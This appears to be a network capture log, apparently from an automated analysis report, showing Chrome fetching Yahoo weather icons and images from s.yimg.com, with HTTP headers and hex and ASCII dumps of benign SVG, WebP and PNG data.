2024-04-27 22:42:00 UTC	817	IN	HTTP/1.1 200 OK x-amz-id-2: 7krwqOUL26/xEd7V0FM8KxnCU+uvZPF77dSfY6YzIYsJrh4FEcq79pComolDOBM2F4PgGdd3PqU= x-amz-request-id: KHH1VCAS0PDJFDXM Date: Fri, 19 Apr 2024 00:13:51 GMT Last-Modified: Fri, 13 Nov 2020 21:27:14 GMT ETag: "03c10f2c4e36a75805f7735d1f07c98c" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1650 Referrer-Policy: no-referrer-when-downgrade Age: 772090 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 78 31 3d 22 2d 33 36 2e 33 39 36 25 22 20 79 31 3d 22 33 32 2e 38 35 34 25 22 20 78 32 3d 22 33 33 2e 33 39 36 25 22 20 79 32 3d 22 31 33 33 2e 33 31 33 25 22 20 69 64 3d 22 61 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 46 46 46 35 42 32 22 20 6f 66 66 73 65 74 3d 22 2e 30 31 33 25 22 2f 3e 0a 20 20 20 20 20 20 3c Data Ascii: <svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <linearGradient x1="-36.396%" y1="32.854%" x2="33.396%" y2="133.313%" id="a"> <stop stop-color="#FFF5B2" offset=".013%"/> <
2024-04-27 22:42:00 UTC	350	IN	Data Raw: 35 39 20 31 38 20 31 38 20 31 38 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 61 29 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 34 20 34 32 63 36 2e 33 31 20 30 20 31 31 2e 38 36 32 2d 33 2e 32 34 37 20 31 35 2e 30 37 35 2d 38 2e 31 36 31 20 30 20 30 2d 39 2e 30 39 2d 33 2e 37 33 33 2d 31 37 2e 36 38 38 2d 37 2e 34 37 31 43 31 37 2e 31 30 33 20 33 32 2e 31 30 39 20 31 34 2e 30 35 39 20 34 32 20 32 34 20 34 32 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 62 29 22 20 6f 70 61 63 69 74 79 3d 22 2e 36 38 37 22 2f 3e 0a 20 20 20 20 3c 75 73 65 20 66 69 6c 6c 3d 22 75 72 6c 28 23 63 29 22 20 78 6c 69 6e 6b 3a 68 72 65 66 3d 22 23 64 22 2f 3e 0a 20 20 20 20 3c 75 73 65 20 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3d 22 2e 30 35 22 20 66 69 6c 6c 3d 22 23 37 44 Data Ascii: 59 18 18 18z" fill="url(#a)"/> <path d="M24 42c6.31 0 11.862-3.247 15.075-8.161 0 0-9.09-3.733-17.688-7.471C17.103 32.109 14.059 42 24 42z" fill="url(#b)" opacity=".687"/> <use fill="url(#c)" xlink:href="#d"/> <use fill-opacity=".05" fill="#7D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.4	50003	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	372	OUT	GET /cv/apiv2/weather-svg/THUNDERSTORMS.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:00 UTC	818	IN	HTTP/1.1 200 OK x-amz-id-2: LGrlOaxzqIOf0dnnlX/65geNtwHF3Hfg4PhAY6yWQBWYP4Q6MEoWgoQL0/u5vXkzuVBfqz8l1V4= x-amz-request-id: MH6WNSK7XKKQD2VY Date: Tue, 09 Apr 2024 21:13:37 GMT Last-Modified: Fri, 13 Nov 2020 21:27:15 GMT ETag: "7f012ded545e2c7d9157810048c3fc2a" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1663 Referrer-Policy: no-referrer-when-downgrade Age: 1560504 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 78 31 3d 22 36 34 2e 32 37 38 25 22 20 79 31 3d 22 31 30 30 25 22 20 78 32 3d 22 36 34 2e 32 37 38 25 22 20 79 32 3d 22 31 2e 33 35 31 25 22 20 69 64 3d 22 61 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 42 35 42 44 43 38 22 20 6f 66 66 73 65 74 3d 22 30 25 22 2f 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 Data Ascii: <svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="a"> <stop stop-color="#B5BDC8" offset="0%"/> <stop stop
2024-04-27 22:42:00 UTC	363	IN	Data Raw: 38 35 2d 34 2e 39 20 32 2e 38 37 2d 32 2e 32 34 34 2d 2e 36 31 35 2d 33 2e 34 37 2d 32 2e 38 37 2d 32 2e 38 35 37 2d 34 2e 39 32 43 32 35 2e 35 36 35 20 33 36 2e 38 37 20 33 30 2e 36 37 20 33 34 20 33 30 2e 36 37 20 33 34 73 32 2e 38 35 37 20 34 2e 39 32 31 20 32 2e 32 34 35 20 36 2e 39 37 32 7a 22 20 66 69 6c 6c 3d 22 23 31 32 41 39 46 46 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 66 69 6c 6c 3d 22 75 72 6c 28 23 63 29 22 20 73 74 79 6c 65 3d 22 6d 69 78 2d 62 6c 65 6e 64 2d 6d 6f 64 65 3a 6d 75 6c 74 69 70 6c 79 22 20 6f 70 61 63 69 74 79 3d 22 2e 34 22 20 64 3d 22 4d 31 38 2e 32 33 20 32 38 68 37 2e 33 30 38 4c 31 34 20 31 36 76 31 32 7a 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 20 32 29 22 2f 3e 0a 20 20 20 20 20 20 Data Ascii: 85-4.9 2.87-2.244-.615-3.47-2.87-2.857-4.92C25.565 36.87 30.67 34 30.67 34s2.857 4.921 2.245 6.972z" fill="#12A9FF"/> <path fill="url(#c)" style="mix-blend-mode:multiply" opacity=".4" d="M18.23 28h7.308L14 16v12z" transform="translate(4 2)"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.4	50006	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	755	OUT	GET /uu/api/res/1.2/2NW2CfWeNKI57cwpeOIBFw--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-01/bedd8160-ab13-11ee-bbab-76c907c64d8d.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:00 UTC	1295	IN	HTTP/1.1 200 OK Content-Length: 12668 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 513188376526291968328377257162108438315,346349957385992108437133608500309371301,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="bedd8160-ab13-11ee-bbab-76c907c64d8d.webp" Edge-Cache-Tag: 513188376526291968328377257162108438315,346349957385992108437133608500309371301,ae7a14591aaf8d474cdb3f92111c923e Etag: "5b171196cd4a44d58361a1465cac06b9" Expiration: expiry-date="Tue, 06 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 07 Feb 2024 21:29:59 GMT Server: ATS Surrogate-Reporting: width=300,height=156,bytes=12668,owidth=1815,oheight=1215,obytes=3280490,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Wed, 24 Apr 2024 15:30:10 GMT X-Served-By: cache-iad-kiad7000131-IAD X-Cache: Miss from cloudfront, MISS X-Cache-Hits: 0 X-Timer: S1713972610.471246,VS0,VE130 Age: 285110 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_by: cache-iad-kiad7000131-IAD cld_latency: 130 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1
2024-04-27 22:42:00 UTC	220	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 52 49 46 46 74 31 00 00 57 45 42 50 56 50 38 20 68 31 00 00 f0 9f 00 9d 01 2a 2c 01 9c 00 3e 79 2e 92 46 a4 a2 21 a1 31 d6 0d 50 90 0f 09 40 18 84 4f eb 67 eb 17 a3 a9 3d b9 32 79 04 fd 95 7d 2a 6d f7 f3 23 e6 f5 e9 fb fb 97 a3 07 54 26 f3 2f f8 1f fb 19 11 3e 84 f2 97 e2 f7 e8 3f b1 f8 bb e4 87 e0 7e e9 fa fe e3 ff b0 9d 46 be 77 f8 d3 f9 3f e4 fd aa 7f 4d df 3f cd 9f f6 7d 43 bf 30 fe 9b ff 17 d3 df f1 7f 64 bb f8 f7 9f f6 5e 83 5e f6 7d d3 ff 07 89 e6 af 5e 36 f6 02 fe 91 fd ff d3 df fc 7e 21 3f 95 ff b9 ec 05 fa a7 d1 cb ec 1f 41 3f 59 ff f0 ff 6b f0 13 fd 0b fb df ec 7f b7 07 ff ff 73 5f bc 1f ff fd d8 3f 68 bf fb b9 2f 3b 14 29 ea 80 6a 9f 48 dc b8 5d 01 da 6b f0 32 0a 83 ed 25 9a d1 0b 2d 3d e9 2d d5 d9 d4 d3 fe ea 8d 5d 9f 42 ff c0 19 af 7e 9d 9a Data Ascii: RIFFt1WEBPVP8 h1,>y.F!1P@Og=2y}m#T&/>?~Fw?M?}C0d^^}^6~!?A?Yks_?h/;)jH]k2%-=-]B~
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 26 b7 e2 d6 4f 5a 00 00 00 fe fc a5 90 57 d4 df a5 5b f2 d8 70 0a 3a 24 18 f4 63 f3 89 82 4b d6 60 51 19 85 6b 72 e7 8c 03 4e b7 d2 31 21 3f d4 9a f8 14 ae 16 33 9c 4c f0 e0 92 48 12 bb 89 bc de a7 ce 01 6c bf 54 7d d9 6e b3 cb 5a 7d c4 a3 42 6d e5 03 ec 62 74 99 29 49 3f 06 d0 05 74 af 84 62 2b a9 27 91 b9 2c b9 61 e3 4d ca 4d 26 1f c9 61 a6 6b 18 ac 4f 14 81 b6 e9 dd f5 f2 cc 97 6e f7 85 b6 8c 10 57 a6 56 e8 53 c2 f9 14 e3 25 f9 ac ab 6a a7 d8 98 fe e1 1e b5 ea b0 69 8b 2c c0 b0 22 a4 04 37 01 3d b7 66 f1 7e b0 81 55 e1 fc 04 d9 a6 cc 86 19 aa 5a a8 1c 83 12 0a 22 00 b7 29 74 12 b7 4e 24 42 2a 98 16 a2 0d 50 cb 7c d5 06 56 30 60 90 ca 31 44 19 ef 29 5c 1b d0 26 ed d1 1a 33 70 59 14 60 c6 16 6c dd 5f b4 e5 25 c1 e4 ec 49 97 6d 70 e2 81 8f f1 b4 fb 42 11 Data Ascii: &OZW[p:$cK`QkrN1!?3LHlT}nZ}Bmbt)I?tb+',aMM&akOnWVS%ji,"7=f~UZ")tN$B*P\|V0`1D)\&3pY`l_%ImpB
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: c6 b4 cd 9f 1d 45 b6 88 f5 9a 48 e2 97 a1 47 d8 db 57 e7 ed 3f 4b 76 42 d0 1a 9a 48 85 e1 66 0d a8 5b be 1c 21 54 1c 9e dc 10 6d 77 22 91 1d 63 72 57 1b 81 7d 14 5a ec 4e 55 c1 41 3b 07 52 a4 ca 90 6c d8 80 ea 3d 40 e7 38 5c f7 4f 04 19 80 99 cf ba 7d 6d b7 31 c7 2e e3 f7 b7 aa 9f e9 b4 27 9a 8a 60 2b ab 4c 55 98 a1 ca cd 36 77 84 d2 c0 b1 91 e3 58 3a 84 a0 2d cf 0b d2 80 00 1f 2e 49 5b 6d 30 60 e4 77 41 98 41 3f a5 dc d7 9e a5 de bc c2 e3 c1 c2 bc 30 b0 6f 6c d9 6d 84 7d c2 a4 72 e7 f8 8f 0c a4 4b 3f 2d 92 bd 82 e3 13 c9 36 c4 d2 cb 7a c3 ab 58 51 60 3a 19 24 76 eb 15 60 14 37 81 53 b8 9d 06 21 15 47 6f 08 fc d3 7e 47 94 c5 c2 7e c9 db 9f ac 5e 6d af 03 63 d6 89 cc 47 c7 03 35 68 a0 e8 2f ea 0a d6 59 08 88 fe d1 a4 7d 5f e5 a1 07 67 5f 09 8a 38 6a 4d f3 Data Ascii: EHGW?KvBHf[!Tmw"crW}ZNUA;Rl=@8\O}m1.'`+LU6wX:-.I[m0`wAA?0olm}rK?-6zXQ`:$v`7S!Go~G~^mcG5h/Y}_g_8jM
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 41 ca 7b 72 70 85 6f e9 49 11 7b 5e e2 97 18 de 07 85 ce 8b 56 a7 b4 37 46 b7 d6 b9 9e f8 0d 11 76 40 51 6d 25 4b 10 7d 6e f8 2d 0d 94 a7 69 4b 2b 06 ae 74 b8 28 f3 2b f9 b4 bd 91 d9 8e 8a 1e a9 4b 69 cf 37 9e 6b d5 a5 06 9a 0e f9 8e 8d 28 85 05 59 8c 09 91 93 c2 3b 9d 7a 9f e2 9e b9 f0 a1 fb 57 38 7c 6e 19 0a f1 c9 40 10 b5 61 7e 32 d7 fe 26 9a d1 82 6a 08 98 5b 1d a9 54 79 81 60 92 14 19 01 60 39 9c 92 be 2f d4 f4 ac c9 c6 79 a5 ac 69 0a 30 51 a2 fe f8 be 4a 58 37 ae ed 8a 88 92 3d 8c cf 9c de c8 2a b7 63 75 e6 5a 86 37 56 5c aa 92 fa 01 7b 38 86 d2 72 2e 61 b7 35 9e b3 3d 86 50 3b 97 25 c0 72 d3 41 25 9b ab 18 fd d8 53 35 82 2e 4f 85 6a bf 25 c7 63 77 84 85 d5 cf c7 f3 56 69 0e 9a 89 3b 3a 7e eb 6e b3 15 99 1c a8 07 4a a1 6e 64 26 47 0d 1a e8 e1 6d 7e Data Ascii: A{rpoI{^V7Fv@Qm%K}n-iK+t(+Ki7k(Y;zW8\|n@a~2&j[Ty``9/yi0QJX7=*cuZ7V\{8r.a5=P;%rA%S5.Oj%cwVi;:~nJnd&Gm~
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: d3 44 54 45 d6 5f f1 36 e8 28 af 84 37 3f 25 9a 57 08 e0 fc 8d 07 80 ce 23 bc 1b 4f 9e f5 99 70 70 a5 cd ab 5c c0 93 12 df 7a 04 6b d6 1e 6c bb e0 76 74 44 d6 b3 4a 52 54 42 61 7f 5d b0 ab 4d 8f b4 eb 41 4c b2 80 90 d5 e4 6e d4 78 de 1c e9 0f 8c 19 80 13 9f 23 f8 34 f0 30 7e 4a 4c 6c b1 16 99 a3 b8 5d 06 64 9d ab 79 7e 70 ab 24 1a d2 57 46 3f 49 3c 7b e6 3d bb e4 85 06 7a f9 26 ea a6 a7 3e 6d 4a ec 41 46 35 63 2a 2d eb cf fe 1a 4d 8b 20 2f 78 0e 37 ad dc b2 cf c8 15 9d 9f 28 bf 44 3e b3 72 0b 8a d2 1b 88 b5 32 63 08 58 f2 0d 59 25 bf 7c 94 a5 35 e7 3a 89 51 6a 2b 44 10 85 86 50 ef 87 c1 78 0d ea 28 69 71 d1 43 47 02 e6 50 01 bb fe 13 cc e5 78 46 3b 2e 25 df 2e d9 f1 f8 31 13 25 4d 6e 6c 99 eb c6 c5 7b 20 40 d9 d4 1f 20 e2 e4 2d 38 cb 35 ad e5 88 b1 de bd Data Ascii: DTE_6(7?%W#Opp\zklvtDJRTBa]MALnx#40~JLl]dy~p$WF?I<{=z&>mJAF5c*-M /x7(D>r2cXY%\|5:Qj+DPx(iqCGPxF;.%.1%Mnl{ @ -85
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: df d5 72 23 31 d0 e3 63 26 9f 5f 74 b9 c7 3d 5b 60 e5 a6 57 4b 04 f1 5e 50 a6 d1 4f 36 58 f5 90 11 e1 00 c0 b1 03 5d e3 23 40 06 95 34 59 0d ae 85 fb ff 08 d7 3f e4 57 f9 91 43 97 30 42 12 18 a2 21 cd 32 31 0f 98 99 ec 2c 26 0c ca fe 38 a6 e6 7f 06 f2 34 d3 eb c6 ef 9f 14 46 56 03 f4 93 1b 5a 1e 83 61 af f1 46 84 52 c2 88 db 1e 1c cd 51 9f fd 14 7b 3e 66 82 3f b8 75 22 fb 9a e8 bc 18 83 00 bb d9 c0 ca aa 15 67 9a 7b 00 6e 27 f7 8c bd 82 3e 80 fe 54 08 ed 40 5c ec df 5a f2 02 d6 d7 2b 09 69 74 3b c2 f2 29 ea c5 8e 45 5f 10 ae b5 bf cf de fa c9 d9 fd 5d 0e ec d1 9e 4c 69 cc 2c f5 9f e4 f9 6d 44 62 72 c8 a6 2e 58 d0 0b 40 56 c7 2b c8 6c c8 de 66 ca 54 c2 a5 4f f8 db fc b0 e7 c2 98 2c b6 07 5e ee 82 9b 1e 06 a9 e1 44 b7 71 4b 9a b2 5d a6 96 38 12 44 26 ec ae Data Ascii: r#1c&_t=[`WK^PO6X]#@4Y?WC0B!21,&84FVZaFRQ{>f?u"g{n'>T@\Z+it;)E_]Li,mDbr.X@V+lfTO,^DqK]8D&
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 05 40 9e ba b0 b4 ea 6f 99 6a 8b 4d 56 6a f7 d1 f0 11 eb c1 67 83 a3 e5 47 53 b0 e6 5d d3 0c 64 e0 57 87 d6 03 00 52 c8 a9 d4 5c de 06 9d 38 d5 b7 15 c7 f6 94 74 9c 5d 72 82 51 92 5c 55 e2 91 9c 61 bd cd 28 23 16 04 a3 2e b9 2d b5 d0 4f 41 2a 8a 27 28 bc 95 ba 23 ff 3d fa 40 e2 2f 86 aa 7a 36 60 ea 3b 91 92 e5 f1 9c f6 1c cc 65 87 cb 16 f9 f8 cd 0f c2 ee b3 11 c6 b6 74 79 e6 be e4 da 2e 8d f6 34 f5 f3 69 3a 79 e6 18 1a 34 df f5 b6 fb 82 ce 6b 98 18 bc 8f 13 2e e9 9d b3 cd e1 a7 22 7b 79 be 54 19 6b 45 44 4e 70 de d4 5e 92 dd 29 1a ba 6e 18 a0 1d 4a 22 95 e8 b5 23 3b df 13 11 36 af de 60 72 01 bc 09 bb 85 6c ed f7 b4 ff 91 a2 78 11 7f 5e c5 c2 2c a0 75 0e ce 1d e6 db cb a4 c8 eb f7 16 d0 83 fd 26 eb 7e b5 44 2a a9 3f f9 ca fb d7 a0 55 3e 62 d3 6c 1e 6c e8 Data Ascii: @ojMVjgGS]dWR\8t]rQ\Ua(#.-OA'(#=@/z6`;ety.4i:y4k."{yTkEDNp^)nJ"#;6`rlx^,u&~D?U>bll
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 8b 38 0f ab b1 87 a4 c0 38 96 52 80 7a 97 f4 85 21 24 86 9d 28 63 32 2a 76 af 3f c5 f8 f8 dd 7a f5 ff d2 df 90 da 39 b3 28 fc 93 90 4d 54 7e ff 52 a5 a7 69 2c 82 12 82 bd fb 5d be 71 6a 14 61 9c 2c 5e 6e b1 26 8d bb ad ac b4 40 01 3d 52 ae 2b 79 5f 5f 3e ea 00 00 06 ab c4 7f 57 98 9c 6b 3d e9 3e fd bd 64 2e a7 93 53 4a ba 61 ba 1f ec 54 83 13 60 86 e0 80 f8 7b d3 0b 7e ff 14 eb 3a a2 c7 e1 55 a4 f3 8c b8 26 d1 8f f1 dd e7 58 af b1 11 a1 e6 52 cf 0b f1 95 95 18 58 da ed d8 d5 c4 1e de b6 f3 7e ea 3b 19 04 dd 8c 65 e3 be 06 57 2a 69 80 2c 66 f0 80 7b a5 c3 e1 a2 4d 97 60 6d 40 18 87 c1 e1 83 e8 65 c9 a1 d6 27 3b 27 62 d1 d3 91 44 73 df b4 6c 30 1e 5d 16 f5 a8 e0 a1 02 55 4e d5 df bb 91 fc 0c 3c 71 4f 64 fe 4e ae 8b 88 dc 35 e4 e0 c8 3e ff 23 55 e8 cc fa 23 Data Ascii: 88Rz!$(c2v?z9(MT~Ri,]qja,^n&@=R+y__>Wk=>d.SJaT`{~:U&XRX~;eWi,f{M`m@e';'bDsl0]UN<qOdN5>#U#
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: c6 4b 08 59 5f 66 e8 80 80 ff 8a df de 49 dd 47 da e1 37 73 f1 a0 c1 7f 0e 5c 02 9e 3f 32 d0 5d 54 33 e6 8c e4 8c 73 d2 33 ab 68 64 a8 ef 7f fe ed 8c ec 56 51 fb 9c 54 44 ad 93 55 dd 14 6c ff 7a e0 3f 0d 82 d1 6a 9d bd 61 72 49 58 92 b7 2e 80 43 72 3c 12 86 05 37 cd c1 8c ac 71 c4 87 4e e4 70 e0 58 e7 b9 55 20 93 f2 43 70 b9 c4 f3 7c 2e 89 e6 10 85 61 9e f3 cd 77 cf 1a 85 1f 6b 3f 61 de 48 75 cd 5e 44 49 7c d1 4a 33 5f b3 24 eb fa 95 28 c1 8b 95 9f 5a 4a 29 8f 5f 82 9c 15 95 c9 85 33 e6 e8 6e 42 98 b9 fa dc 8c f1 be eb f5 96 4b 11 36 ad 16 2d 7d 15 ed e8 cb 0d b4 3f 2b 24 ba a5 b3 6e 15 6f b7 d9 c9 ff 55 63 6d d1 29 a0 1d ea b3 9a 8e 56 5e 7d 29 d4 c9 ed 24 ce 9d 06 c6 1c 0e fb 62 c3 ae 02 c0 a9 f5 e2 52 ab 5b 8f e8 53 e3 44 e8 10 0d 8d 52 94 93 fe 28 82 Data Ascii: KY_fIG7s\?2]T3s3hdVQTDUlz?jarIX.Cr<7qNpXU Cp\|.awk?aHu^DI\|J3_$(ZJ)_3nBK6-}?+$noUcm)V^})$bR[SDR(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.4	50007	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	387	OUT	GET /cv/apiv2/yahoo_weather_web/accuweather-horizontal.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:00 UTC	813	IN	HTTP/1.1 200 OK x-amz-id-2: 5Dm6y0JW3ZBIq8aTuM1CwMes4GHk1M30ZOeGBmi44YjjRWptgSuOOMWmJM4aNXE8T8T1xu+bp24= x-amz-request-id: ZQ55737VTAYHQ35M Date: Tue, 16 Apr 2024 14:08:28 GMT Last-Modified: Thu, 08 Sep 2022 20:32:20 GMT ETag: "d0e45188f6a8f2e8f2528e762fe55d33" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 2331 Referrer-Policy: no-referrer-when-downgrade Age: 981213 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f0 00 00 00 22 08 03 00 00 00 56 7d a4 84 00 00 00 7b 50 4c 54 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bd 78 1c b0 00 00 00 28 74 52 4e 53 00 05 fa f5 21 0d 6b 36 c0 13 e0 4c b1 b6 e8 d7 1b 7f 85 ac 29 c5 8c 2e a7 92 59 a1 d0 44 ca ec 9b 71 3e ba 77 64 53 5f 87 5f b6 44 00 00 08 27 49 44 41 54 68 de e5 59 e9 ba 9a 30 10 4d 80 b0 c8 a2 08 2e b8 a1 e2 92 f7 7f c2 9e 99 21 88 Data Ascii: PNGIHDR"V}{PLTEx(tRNS!k6L).YDq>wdS__D'IDAThY0M.!
